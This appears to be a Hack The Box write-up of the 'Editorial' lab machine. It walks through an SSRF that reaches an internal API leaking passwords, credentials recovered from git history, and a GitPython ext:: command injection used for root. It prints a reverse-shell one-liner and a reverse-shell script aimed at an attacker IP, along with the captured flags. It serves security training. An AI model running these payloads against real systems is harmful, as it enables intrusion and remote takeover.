Nmap

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-07 20:20 +08
Nmap scan report for 10.10.11.20
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds

There are only 2 ports open.

Port 80 Enumeration

Browsing

From Nmap, we know that the domain is editorial.htb so we add it to /etc/hosts.

http://editorial.htb/

The main page is mostly some random content.

http://editorial.htb/upload

The Publish with us link in the menu brings us to a form.

Directory Busting

Directory busting using ffuf, feroxbuster and gobuster didn’t return anything we had already seen from browsing except maybe for some static files.

/upload               (Status: 200) [Size: 7140]
/about                (Status: 200) [Size: 2939]
200      GET      210l      537w     7140c http://editorial.htb/upload
200      GET       72l      232w     2939c http://editorial.htb/about
302      GET        5l       22w      201c http://editorial.htb/upload-cover => http://editorial.htb/upload
200      GET       81l      467w    28535c http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
200      GET        7l     2189w   194901c http://editorial.htb/static/css/bootstrap.min.css
200      GET     4780l    27457w  2300540c http://editorial.htb/static/images/pexels-min-an-694740.jpg
200      GET      177l      589w     8577c http://editorial.htb/
200      GET    10938l    65137w  4902042c http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg

Burp

Let’s analyse the form we found while browsing earlier using Burp.

/upload

Book name (bookname) and Contact Phone (phone) fields are required for submission.

Nothing interesting here.

More Testing

When specifying the Cover URL (or bookurl field as seen in POST request), the response we get is different.

I hosted a .png file using python http.server and then specified its URL in the bookurl field and then clicked the Preview button on the right. The file gets accessed by the web app.

Looking at Burp history, the Preview button sends out a POST request to /upload-cover and then returns the path of a static file which I assume would be the file I hosted.

However, when I tried to access the file seemingly uploaded, it’s not found.

I tried specifying the image in the file upload form. This time, when browsing the URL provided in the response I get a download of the static file and when opened in a image viewer is the actual image that I specified earlier.

Looking back at the Burp history, right after sending the POST request, the application will follow up with a GET request for the static file which when rendered is indeed the image that I hosted on the python http.server.

This indicates that the web app will briefly reveal the content of any URL that I specify in the form of a static file before deleting it.

localhost

I tried specifying the localhost IP in the bookurl field to see if I can get anything on the target machine. However, the request hanged for about 20 seconds and then followed up with a GET request which did not return anything but an error splash image of some sort.

I tried again by specifying the port but it didn’t even follow up with a GET request.

Fuzzing Ports with ffuf

I thought it was weird that there was a difference in how the web app responded so I decided to try all the ports to see if I find anything.

I copied the POST request into a file and then created a wordlist consisting of all 65535 ports.

echo -n "$(seq 0 65535)" > allports.txt

I used ffuf to perform the fuzzing.

ffuf -u http://editorial.htb/upload-cover -request upload.req -ac -w allports.txt

NOTE: Since the upload.req file already contains the URL, I thought I didn’t need to specify it using the -u flag. Without it, the command ran but didn’t produce any results. After running it again with -u, I got some results.


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: /home/hans/Documents/HTB/Editorial/1-enum/1-external/2-web/allports.txt
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Origin: http://editorial.htb
 :: Header           : Connection: close
 :: Header           : Host: editorial.htb
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Content-Type: multipart/form-data; boundary=---------------------------15647386475396121773132847897
 :: Header           : Referer: http://editorial.htb/upload
 :: Header           : Priority: u=0
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
 :: Header           : Accept: */*
 :: Data             : -----------------------------15647386475396121773132847897
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ/
-----------------------------15647386475396121773132847897
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------15647386475396121773132847897--
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 270ms]
:: Progress: [65536/65536] :: Job [1/1] :: 79 req/sec :: Duration: [0:14:08] :: Errors: 2 ::

Enumerating 127.0.0.1:5000

Sending the POST request manually in Burp, I get some json in response:

cat port5000.json | jq .

I copied the response body into a file and used jq to prettify it so that it so more readable. can also use any online json formatter.

API Endpoints

{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Seems like a list API endpoints. With this we can enumerate the endpoints.

Out of all the endpoints, only 3 were found to be interesting.

http://127.0.0.1:5000/api/latest/metadata/messages/coupons

[
  {
    "2anniversaryTWOandFOURread4": {
      "contact_email_2": "[email protected]",
      "valid_until": "12/02/2024"
    }
  },
  {
    "frEsh11bookS230": {
      "contact_email_2": "[email protected]",
      "valid_until": "31/11/2023"
    }
  }
]

2anniversaryTWOandFOURread4 frEsh11bookS230 These 2 look like passwords.

http://127.0.0.1:5000/api/latest/metadata/messages/authors

{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

Here we find creds for dev.

Creds for dev:

dev080217_devAPI!@

http://127.0.0.1:5000/api/latest/metadata/changelog

[
  {
    "1": {
      "api_route": "/api/v1/metadata/",
      "contact_email_1": "[email protected]",
      "contact_email_2": "[email protected]",
      "editorial": "Editorial El Tiempo Por Arriba"
    }
  },
  {
    "1.1": {
      "api_route": "/api/v1.1/metadata/",
      "contact_email_1": "[email protected]",
      "contact_email_2": "[email protected]",
      "editorial": "Ed Tiempo Arriba"
    }
  },
  {
    "1.2": {
      "contact_email_1": "[email protected]",
      "contact_email_2": "[email protected]",
      "editorial": "Editorial Tiempo Arriba",
      "endpoint": "/api/v1.2/metadata/"
    }
  },
  {
    "2": {
      "contact_email": "[email protected]",
      "editorial": "Editorial Tiempo Arriba",
      "endpoint": "/api/v2/metadata/"
    }
  }
]

Some email addresses here.

Shell as dev

Using the credentials we found at earlier, we can SSH in. And we find the user flag.

% ssh [email protected]

The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Nov  8 07:19:31 AM UTC 2024

  System load:           0.2
  Usage of /:            62.2% of 6.35GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             224
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.20
  IPv6 address for eth0: dead:beef::250:56ff:feb0:61e1


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Nov  8 04:19:23 2024 from 10.10.14.11
dev@editorial:~$ cat user.txt
bd417e1ca98fad2acbfab2aa934457d8

Enumerate Machine

A quick grep to find users with shell:

cat /etc/passwd | grep -Ev "false|nologin|sync"

or

cat /etc/passwd | grep "sh$"
root❌0:0:root:/root:/bin/bash
prod❌1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev❌1001:1001::/home/dev:/bin/bash

git

There is an apps directory in dev’s home directory and inside it there’s a .git directory. Using git log --oneline to briefly see the commits, we see a commit that downgrades prod to dev. We can then see the changes made between the 2 commits using git diff. Fortunately for us, we found credentials for the prod user. So we immediately switch to it using su prod.

Creds for prod:

080217_Producti0n_2023!@

sudo -l

Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

Looking at the sudoers file, we can use prod to run a python script as root.

clone_prod_change.py

prod@editorial:/opt/internal_apps/clone_changes$ cat clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

For a simple script, it is using a peculiar library, git.

I tried searching for an exploit that uses the import Repo and found one RCE that matches this script quite closely but it needs GitPython before 3.1.30

Coincidentally, the GitPython in the machine meets the requirement of the exploit.

POC from the article:

from git import Repo r = Repo.init('', bare=True) r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

Snippet of clone_prod_change.py:

...<trunctated>
url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Looking at the above, we can simply inject the command in url_to_clone since it’s taken in as an argument.

Exploit

Unmodified POC

It ran with an error but the file is created and owned by root:

prod@editorial:/opt/internal_apps/clone_changes$ ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Nov 12 03:56 /tmp/pwned

Modified POC

So the malicious URL input i.e. ext::sh -c touch% /tmp/pwned allows the python script to create /tmp/pwned as root. This means it executes sh and runs the touch command as root.

sh Reverse Shell

Switching the touch command to a reverse shell one-liner:

ext::sh -i >& /dev/tcp/10.10.14.3/8888 0>&1

Same error as the touch command, however, my nc listener doesn’t catch anything.

Bash Script

This time I’ll try to create a reverse shell bash script and then use ext::sh -c <path to bash script> as the URL input of the python script.

#!/bin/bash

sh -i >& /dev/tcp/10.10.14.3/8888 0>&1

don’t forget to chmod +x

The python script pauses when executed and my nc listener catches a shell:

root flag

e9da806c7ea000eaa75913046df6e456